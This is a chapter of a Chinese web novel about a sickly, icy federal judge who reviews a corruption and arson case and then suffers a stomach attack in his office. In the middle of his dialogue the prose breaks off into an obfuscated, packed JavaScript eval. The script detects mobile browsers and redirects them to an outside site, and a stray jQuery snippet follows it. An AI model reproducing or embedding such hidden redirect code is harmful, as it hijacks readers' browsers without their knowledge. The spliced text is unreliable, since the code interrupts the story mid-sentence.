3. 杀夫证道(3)

作品:《高岭之花是寡妇[快穿]

    “全都处理掉,”沈沉蕖一如既往地不假辞色,撂下三个字便伸手去取衣架上的法袍,道,“上午是哪个庭?”


    房晦明翻了翻日程,道:“您刚休假回来,今天没排您的庭……不过花处理掉,早餐也要吗,您在家吃过没有?”


    联邦司法官制服分三种,冬夏各有制式常服,开庭则须穿着法袍。


    近日最高气温直逼三十摄氏度。


    最高司法院上上下下都换了夏装制服,是米色短袖衬衫与黑色长裤。


    但沈沉蕖病弱体寒,作为唯一的着装例外,他可以一年四季穿着冬季常服——剪裁合身、上身挺括的白衬衫、灰色马甲、黑色长裤与墨蓝色西装领长风衣。


    据说这身制服的设计者曾是某个高奢品牌的高管,因此这制服也兼顾了正式与美观。


    除了不够符合公职人员严肃板正的身份之外,没有缺点。


    是以每年春末升温,通知要求全院统一更换着装时,司法官们总是怅然若失。


    但在所有人之中,沈沉蕖以容貌身材体态气质等所有维度的绝对性优势,将这身制服穿得格外风姿楚楚。


    全联邦所有享有盛誉的电影明星,在身着制服的沈院长面前都要黯然失色。


    这身制服取代上一款制服那年,也是沈沉蕖入职最高司法院那年。


    据说他上班第一日,来开庭的律师不知换了制服。


    在司法院外遥遥一见,将他当成了自己光鲜亮丽的律师同行。


    于是上前攀谈,从自己的身高(强调191.81cm)、就职的律所(行业头部)、目前的收入(正以可喜的势头年年上涨),一路谈到双律师家庭在维持联邦政体稳定性中起到中流砥柱的作用。


    最后该律师礼貌提出加个联系方式,有空继续探讨。


    沈沉蕖只略一颔首,刷脸进门,对呆住的律师先生道:“上班时间,手机不在身边,X律师有公事可以打办公室电话。”


    至于法袍……


    法袍以黑红二色为主色,但特别之处在于,法袍可以两面穿,一面为黑,一面为红。


    出于美观整齐的考虑,同一案件,一同开庭的司法官们通常会商议统一选择哪一面向外。


    或者审判长某个颜色向外,其他审判员另一颜色向外。


    三年来,沈沉蕖每次开庭都以黑色那一面在外。


    黑袍白肤,冷淡禁欲,透出冬夜深雪一样的寒意。


    唯有那一日。


    秦作舟案开庭那一日,沈沉蕖一身红衣,比两人婚礼时还要鲜明艳烈。


    这样生动肆意的颜色,却是为了送秦作舟去死。


    “先工作。”沈沉蕖根本不回答自己有没有吃早餐,收回伸向法袍的手,走向办公桌。


    他皮肤薄,日光太毒时会被晒痛,江星卉按遥控,窗前遮光的百叶帘降下,道:“还有件事……”


    “海乌斯州的魏州长,前日在发言时公开表达了与您结婚的强烈意愿,并表示这样可以鼓励丧偶民众再次寻找自己心仪的伴侣,构建一个更和谐有爱的联邦。”


    沈沉蕖:“……”


    他抬起一手搭在腰腹,发出疑惑但不失礼貌的声音:“魏崇渊没有别的事情能做了吗?”


    “现在有了,”江星卉意有所指道,“执政厅那边传来风声,说元首阁下有意以严重失职为由建议海乌斯州的议员们弹劾魏州长,魏州长现在可能有些焦头烂额。”


    “不过,”她视线落在沈沉蕖手背上,道,“您胃是不是又不舒服了?”


    “没有。”沈沉蕖答得果断,只是手并未移开。


    “沈院长,东议院原议长……今早送了请柬来。”房晦明找出一只信封给他,沉声道。


    “知道了,”沈沉蕖看也未看,道,“把成许国案的卷宗找出来。”


    房晦明依言去做。


    成许国曾是一州之长,因涉巨额贪腐和交通肇事而受检方指控。


    案件分在沈沉蕖名下,尚未开庭。


    两个月前,秦作舟也是因贪腐获罪,被沈沉蕖送进了鬼门关。


    彼时合议庭的其余六人基于种种考量,其实大多建议定无期。


    但终究一一被沈沉蕖说服,作出了死刑立即执行的判决。


    十日上诉期一过,秦作舟没有上诉。


    沈沉蕖便签了执行令,了结了这位曾经站在联邦最高处的男人。


    房晦明觉得,或许是沈沉蕖深恨贪腐,才会极度用心地对待秦作舟案、极力主张顶格处罚。


    搬出来的卷宗证据又是一座小山。


    房晦明一边合上柜门,一边道:“今天上班路上听见隔壁闲聊,说成许国案那证人,当时孩子才五岁,还在上幼儿园呢,就没了父母。”


    联邦各地的司法院与检察院往往位置相邻,两边人员上下班路上交错在一起是常事。


    房晦明口中的“隔壁”就是检方。


    三年前,成许国竞选密德林州州长。


    他支持率明显高于对手,最终胜出几乎是板上钉钉的事。


    偏偏他得意忘形,在一次赴宴后醉酒驾驶,撞上了行人,对方当场死亡。


    此事一旦暴露,成许国的州长梦自然会破灭,也免不得牢狱之灾。


    于是成许国仗着路段偏僻无监控,又时值深夜,选择了逃逸。


    然而他当时醉醺醺又慌乱,竟没发现有人目击了全过程,还拍下了视频。


    证人当夜便前往警署报案,值班警员认真负责,详细询问,做好笔录,送人离开。


    然后,转头就销毁了立案记录,秘密通知了成许国。


    翌日,证人家中便失火,火势甚猛,夫妻两个无法安全逃生,只能跳楼。


    但楼层不低,下落的方向角度出现偏移。


    两人都当场死亡,仅有用全身死死护着的孩子活了下来。


    直到去年末,那警员被发现参与毒丨品犯罪,情节恶劣,判了死立执。


    临刑前良心发现,把成许国撞人这事儿给抖搂了出来。


    可他也只掌握了成许国交通肇事的那部分。


    证人家那场火是意外还是人祸,如今已经极难取证——除非成许国自愿交代,从他的供述里再找突破口获取物证。


    可成许国一直没松口,检方就没主张他参与纵火。


    沈沉蕖翻阅浏览,同时听房晦明汇报。


    听见证据缺失,沈沉蕖便蹙额道:“不是有个幸存者?”


    “那孩子叫顾则寻,父母双亡后就被送去了福利院,可能受了刺激,据学校老师和福利院工作人员说,他几乎不开口说话,也不跟同龄人交流,办案警官和检察官去找他,也带上了心理医生和儿童保护协会的专家,但哪怕是面对最没攻击性的女omega,他也一个字都不说……还有,像他这种情况,有公益基金会找到他,想把他转学到首都特区来,接受最好的教育,他也不理会。”


    房晦明边说,边察言观色。


    沈沉蕖没有开口,但眉眼清清楚楚传递着四个大字。


    ——“一群废物”。


    房晦明讪笑。


    沈沉蕖嗓音冷冽:“一场火灾,死了两个人,怎么都不该轻轻揭过。如果没有走到判决那一步,那三年前的辖区警官、公诉检察官、主审司法官,一定有哪一环出了人为的纰漏。现在虽然侦查难度比当年高,但试也不试先说查不到,那就是托词。现场细致勘查,排查易燃物残留、起火点数量和位置、有无外来物品、门窗破坏痕迹……还有模拟火灾蔓延路径、扩大监控查找范围、高额悬赏人证物证


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062319|195078||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……再者,证人死亡前后成许国的行踪轨迹、通讯记录、银行流水、住所附近的监控……有些数据经过多少年都能搜出来,而不是就这么敷衍地移交卷宗,告诉我没办法。”


    他说着说着,半敛目光,音量渐渐轻缓下去,变得缥缈朦胧:“还有那个小孩,入职时的沟通技巧培训都学到哪里去了?”


    “……小朋友的心,是很单纯的,防备只是自我保护,真挚一点对他,他才会回之以真心。”


    如果刑事司法官连查案也能包揽,还能审判,那要警方与检方干什么?


    所以尽管联邦法律赋予了刑事司法官查案的权力,可大多数情况下这事儿不由裁判者来做。


    司法官能根据控辩双方呈到他案头的证据,厘清案情、公正裁判,就已经是恪尽职守。


    但偏偏沈沉蕖总是要亲力亲为,检方警方一掉链子,就会被女王陛下无情鞭策。


    两位法助不禁心想,用取证难度大来搪塞,这不是往女王陛下的鞭子上撞吗。


    沈沉蕖说完那句话,心头沉沉一坠,有些体力不支,闭眼缓了缓才道:“准备一下,去见那孩子……”


    江星卉失声道:“您怎么了!”


    沈沉蕖左手五指指尖按着案卷,不知不觉间极其用力,以致泛起无血色的白。


    他的面容也是,在说完话之后呈现出病态的雪白,眉心渐渐蹙起,唇瓣紧抿。


    右手原本虚虚搭在上腹部,现在难以自控地按紧。


    沈沉蕖张开唇瓣轻轻地倒吸气,手心越按越往里,将一把窄腰按得越发细瘦。


    江星卉赶忙拉开他抽屉找胃药,房晦明拨内线叫私人医师。


    可办公室的隔断门陡然被人从里打开。


    一道身影从休息室疾步而出,转眼间便到了沈沉蕖身侧。


    江星卉掌心一空,只见来人驾轻就熟地倒出两粒药丸,给沈沉蕖温水送服。


    而后打横抱起沈沉蕖,朝休息室去。


    只抛下一句:“我来,你们不用管。”


    一系列变故只在电光石火之间,隔断门再次关闭、反锁。


    内务府总管与掌事姑姑:“……?”


    他从哪儿冒出来的?


    他一直埋伏在沈院长的休息室……?


    两位法助立即头脑风暴。


    谁人不知秦家三子俱对沈沉蕖恨之入骨。


    秦临彻潜藏在此,大概就是为了趁沈沉蕖不备辣手摧花。


    而当下女王陛下如此孱弱,岂不是任由凶残的敌人揉圆捏扁、只能无助地喵喵叫吗?


    --


    高温天气下,看到自己身旁有人裹了好几层,容易替对方觉得热。


    可沈沉蕖这样穿,仍让人觉得他冰冰冷冷的,恨不能再替他裹件毛茸茸的披风才好。


    休息室是个套间,秦临彻抖开被子把两人裹得牢牢的。


    他自己闷出一脑袋热汗,可沈沉蕖的手仍然冷得像块寒冰。


    秦临彻握着他的手,脸贴着他冰凉的颊侧,眉头越攒越紧。


    偏偏跟哑巴生闷气似的,梗着脖子不说话。


    虽说吃了药,可起效也需要时间。


    沈沉蕖闭着眼,暂时说不出话,手又不由自主地想去按胃。


    秦临彻一手把他双手握住,另一手贴到他胃部。


    他体温高,掌心又宽大,能当人体热水袋用。


    人在冷得意识不清时,会本能般向热源靠近,猫更是。


    沈沉蕖身体渐渐前倾,几乎是柔若无骨地依在秦临彻身上。


    只差千回百转、勾魂摄魄地喵一声。


    秦临彻牙根死死咬着。


    他们身份有别,而且沈沉蕖虽然总是发丨浪,但从来不走心。


    他不能被轻易迷惑。